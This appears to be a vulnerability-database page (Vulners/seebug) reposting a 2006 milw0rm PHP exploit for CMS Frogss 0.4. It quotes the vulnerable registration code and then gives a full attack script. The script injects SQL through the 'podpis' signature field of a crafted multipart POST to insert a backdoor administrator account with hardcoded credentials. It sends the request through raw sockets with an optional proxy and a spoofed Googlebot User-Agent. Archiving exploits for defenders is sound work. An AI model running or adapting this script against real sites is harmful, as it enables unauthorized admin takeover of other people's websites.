Lucene search
K

CMS Frogss <= 0.4 (podpis) Remote SQL Injection Exploit

🗓️ 27 Aug 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

CMS Frogss <= 0.4 (podpis) Remote SQL Injection Exploit. Find by Kacper (a.k.a Rahim). Special Greetz: DragonHeart. Vulnerable code in module/rejestracja.php line 56-8

Code

                                                &lt;?php
echo &quot;+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&quot;;
echo &quot;+\r\n&quot;;
echo &quot;-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -\r\n\r\n&quot;;
echo &quot;+\r\n&quot;;
echo &quot;+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\&quot;\r\n&quot;;
echo &quot;+\r\n\r\n&quot;;
echo &quot;- CMS frogss &lt;= 0.4 (podpis) SQL Injection Exploit [creat new admin]&quot;\r\n&quot;;
echo &quot;+&quot;\r\n&quot;;
echo &quot;+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&quot;\r\n&quot;;
echo &quot;+&quot;\r\n&quot;;
echo &quot;- [Script name: CMS frogss v.0.4&quot;\r\n&quot;;
echo &quot;- [Script site: http://frogss.be/download.php?id=1&quot;\r\n&quot;;
echo &quot;+&quot;\r\n&quot;;
echo &quot;+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&quot;\r\n&quot;;
echo &quot;+&quot;\r\n&quot;;
echo &quot;-          Find by: Kacper (a.k.a Rahim)&quot;\r\n&quot;;
echo &quot;+&quot;\r\n&quot;;
echo &quot;-          Contact: [email protected]&quot;\r\n&quot;;
echo &quot;-                        or&quot;\r\n&quot;;
echo &quot;-           http://www.rahim.webd.pl/&quot;\r\n&quot;;
echo &quot;+&quot;\r\n&quot;;
echo &quot;+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\&quot;\r\n&quot;;
echo &quot;+&quot;\r\n&quot;;
echo &quot;- Special Greetz: DragonHeart ;-)&quot;\r\n&quot;;
echo &quot;- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi, nukedclx, mivus ;]&quot;\r\n&quot;;
echo &quot;+&quot;\r\n&quot;;
echo &quot;!@ Przyjazni nie da sie zamienic na marne korzysci @!&quot;\r\n&quot;;
echo &quot;+&quot;\r\n&quot;;
echo &quot;+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\&quot;\r\n&quot;;
echo &quot;+&quot;\r\n&quot;;
echo &quot;-            Z Dedykacja dla osoby,&quot;\r\n&quot;;
echo &quot;-         bez ktorej nie mogl bym zyc...&quot;\r\n&quot;;
echo &quot;-           K.C:* J.M (a.k.a Magaja)&quot;\r\n&quot;;
echo &quot;+&quot;\r\n&quot;;
echo &quot;+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\&quot;\r\n&quot;;
echo &quot;+&quot;\r\n&quot;;
echo &quot;Usage: www.site.com /path/ UserName Password proxy &quot;\r\n&quot;;
echo &quot;ex: www.site.com &lt;= site host &quot;\r\n&quot;;
echo &quot;ex: /path/ &lt;= script path &quot;\r\n&quot;;
echo &quot;ex: Username &lt;= exploit username &quot;\r\n&quot;;
echo &quot;ex: Password &lt;= exploit password &quot;\r\n&quot;;
echo &quot;ex: proxy &lt;= optional ;-) &quot;\r\n&quot;;
echo &quot;+&quot;\r\n&quot;;
echo &quot;+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\&quot;\r\n&quot;;
echo &quot;EX: www.site.com /frogss/ Evil hacker 127.0.0.1 &quot;\r\n&quot;;
echo &quot;+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\&quot;\r\n&quot;;

/*
vulnerable code =&gt; module/rejestracja.php line 56-87:
....
function ok()
{
    global $login,$haslo,$email,$miasto,$www,$gg,$tlen,$poziom,$podpis,$last_log,$logowan,$komentarzy,$odwiedzin,$ip,$lan;
    $query=mysql_query(&quot;SELECT login FROM uzytkownicy WHERE login='&quot;.$login.&quot;'&quot;);
    if (!$login) {

    echo 'Nie poda³e¶ Loginu';
    } elseif (!$haslo){
        echo 'Nie poda³e¶ has³a';
    } elseif (!$email)
    {
        echo 'Nie poda³e¶ e-maila';
    } elseif(mysql_num_rows($query)==0)
{
if($www=='http://') $www = '';
if($gg=='gg:') $gg = '';
if($tlen=='tlen:') $tlen = '';
$haslomd5 = md5($haslo);
$ip = $_SERVER['REMOTE_ADDR'];
$query1 = &quot;INSERT INTO uzytkownicy VALUES(NOT NULL, '$login', '$haslomd5', '$email', '$miasto', '$www', '$gg', '$tlen', '$poziom', '$podpis', NOW(), '$last_log', '$logowan', '$komentarzy', '$odwiedzin', 'offline', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '0', '0', '0', '$ip')&quot;;
$result = mysql_query ($query1);
if($result)
        {
            echo '&lt;br&gt;'.$lan['registration_add'].'&lt;br&gt;';
        }
        else
        {
            echo '&lt;br&gt;'.$lan['registration_add_error'].'&lt;br&gt;&lt;br&gt;';
        }
}
else
{
....
when we register to new user in $podpis we can insert in  SQL injection ;-)

*/


error_reporting(0);
ini_set(&quot;max_execution_time&quot;,0);
ini_set(&quot;default_socket_timeout&quot;,5);
ob_implicit_flush (1);
function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '&lt;table border=&quot;0&quot;&gt;&lt;tr&gt;';
  while ($ii &lt;= strlen($headeri)-1){
    $datai=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo &quot;&lt;td&gt;&amp;nbsp;&amp;nbsp;&lt;/td&gt;&quot;;
      for ($li=0; $li&lt;=15; $li++) {
        echo &quot;&lt;td&gt;&quot;.htmlentities($headeri[$li+$ki]).&quot;&lt;/td&gt;&quot;;
		}
      $ki=$ki+16;
      echo &quot;&lt;/tr&gt;&lt;tr&gt;&quot;;
    }
    if (strlen($datai)==1) {
      echo &quot;&lt;td&gt;0&quot;.htmlentities($datai).&quot;&lt;/td&gt;&quot;;
    }
    else {
      echo &quot;&lt;td&gt;&quot;.htmlentities($datai).&quot;&lt;/td&gt; &quot;;
    }
    $ii++;$ji++;
  }
  for ($li=1; $li&lt;=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo &quot;&lt;td&gt;&amp;nbsp&amp;nbsp&lt;/td&gt;&quot;;
  }
  for ($li=$ci*16; $li&lt;=strlen($headeri); $li++) {
    echo &quot;&lt;td&gt;&quot;.htmlentities($headeri[$li]).&quot;&lt;/td&gt;&quot;;
  }
  echo &quot;&lt;/tr&gt;&lt;/table&gt;&quot;;
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket()
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket &lt; 0) {
    echo &quot;socket_create() failed: reason: &quot; . socket_strerror($socket) . &quot;&lt;br&gt;&quot;;
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {echo 'Not a valid proxy...';
    die;
    }
  echo &quot;OK.&lt;br&gt;&quot;;
  echo &quot;Attempting to connect to &quot;.$host.&quot; on port &quot;.$port.&quot;...&lt;br&gt;&quot;;
  if ($proxy=='') {
    $result = socket_connect($socket, $host, $port);
  }
  else {
    $parts =explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
    $result = socket_connect($socket, $parts[0],$parts[1]);
  }
  if ($result &lt; 0) {
    echo &quot;socket_connect() failed.\r\nReason: (&quot;.$result.&quot;) &quot; . socket_strerror($result) . &quot;&lt;br&gt;&lt;br&gt;&quot;;
  }
  else {
    echo &quot;OK.&lt;br&gt;&lt;br&gt;&quot;;
    $html= '';
    socket_write($socket, $packet, strlen($packet));
    echo &quot;Reading response:&lt;br&gt;&quot;;
    while ($out= socket_read($socket, 2048)) {$html.=$out;}
    echo nl2br(htmlentities($html));
    echo &quot;Closing socket...&quot;;
    socket_close($socket);
  }
  }
}

function refresh()
{
  flush();
  ob_flush();
  usleep(5000000000);
}

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.htmlentities($host); die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid prozy...';die;
    }
    $parts=explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);echo nl2br(htmlentities($html));
}

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$_POST[host];$port=$_POST[port];$path=$_POST[path];
$USER=$_POST[USER];$PASS=$_POST[PASS];$proxy=$_POST[proxy];

echo &quot;&lt;span class=\&quot;Stile5\&quot;&gt;&quot;;

  if (($host&lt;&gt;'') and ($path&lt;&gt;''))
  {
    $port=intval(trim($port));
    if ($port=='') {$port=80;}
    if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {die('Error... check the path!');}
    if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

  }
  if (($host&lt;&gt;'') and ($path&lt;&gt;'') and ($USER&lt;&gt;'') and ($PASS&lt;&gt;''))
  {
  
    $sql=&quot;') INSERT INTO uzytkownicy VALUES(1, Kacper, b98092e78aa47e68ae2ba617137960a4, [email protected], NULL, http://www.rahim.webd.pl/, NULL, NULL, 0, DEVILTEAM, NOW(), 99999, 99999, 99999, 9999, offline, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, 0, 4)/*&quot;;
    $data='-----------------------------7d62702f250530
    Content-Disposition: form-data; name=&quot;login&quot;;
    
    '.$USER.'
    -----------------------------7d62702f250530
    Content-Disposition: form-data; name=&quot;haslo&quot;;
    
    '.$PASS.'
    -----------------------------7d62702f250530
    Content-Disposition: form-data; name=&quot;email&quot;;
    
    [email protected]
    -----------------------------7d62702f250530
    Content-Disposition: form-data; name=&quot;miasto&quot;;
    
    localhost
    -----------------------------7d62702f250530
    Content-Disposition: form-data; name=&quot;www&quot;;
    
    http://www.rahim.webd.pl/
    -----------------------------7d62702f250530
    Content-Disposition: form-data; name=&quot;gg&quot;;
    
    000000
    -----------------------------7d62702f250530
    Content-Disposition: form-data; name=&quot;tlen&quot;;
    
    h20
    -----------------------------7d62702f250530--
    Content-Disposition: form-data; name=&quot;podpis&quot;;
    
    '.$sql.'
    -----------------------------7d62702f250530--
    Content-Disposition: form-data; name=&quot;Dodaj&quot;;
    
    Dodaj
    -----------------------------7d62702f250530--
    ';

    $packet =&quot;POST &quot;.$p.&quot;login.php HTTP/1.1\r\n&quot;;
    $packet.=&quot;User-Agent: Googlebot/2.1\r\n&quot;;
    $packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
    $packet.=&quot;Accept: text/plain\r\n&quot;;
    $packet.=&quot;Referer: http://&quot;.$host.$path.&quot;index.php?lang=en\r\n&quot;;
    $packet.=&quot;Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n&quot;;
    $packet.=&quot;Content-Length: &quot;.strlen($data).&quot;\r\n&quot;;
    $packet.=$data;
	$packet.=&quot;Connection: Close\r\n&quot;;
    show($packet);
    sendpacketii($packet);
    if (!eregi(&quot;Location:&quot;,$html)) {die(&quot;Failed to login...&quot;);}
    $temp=explode(&quot;Set-Cookie: &quot;,$html);
    $COOKIE='';
    for ($i=1; $i&lt;=6; $i++)
    {
      $temp2=explode(&quot; &quot;,$temp[$i]);
      $COOKIE.=&quot; &quot;.$temp2[0];
    }
   if (eregi(&quot;The user has successfully been added&quot;,$html))
{
  echo &quot;exploit succeeded... now login as admin\n&quot;;
  echo &quot;with username \&quot;Kacper&quot;\&quot; and password \&quot;devilteam&quot;\&quot;\n&quot;;
  echo &quot;.$host.&quot;/Administracja/index.php\&quot;\n&quot;;
  echo &quot;Greetz ;-)&quot;\n&quot;;
}
?&gt;

# milw0rm.com [2006-08-27]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Aug 2006 00:00Current
7.1High risk
Vulners AI Score7.1
13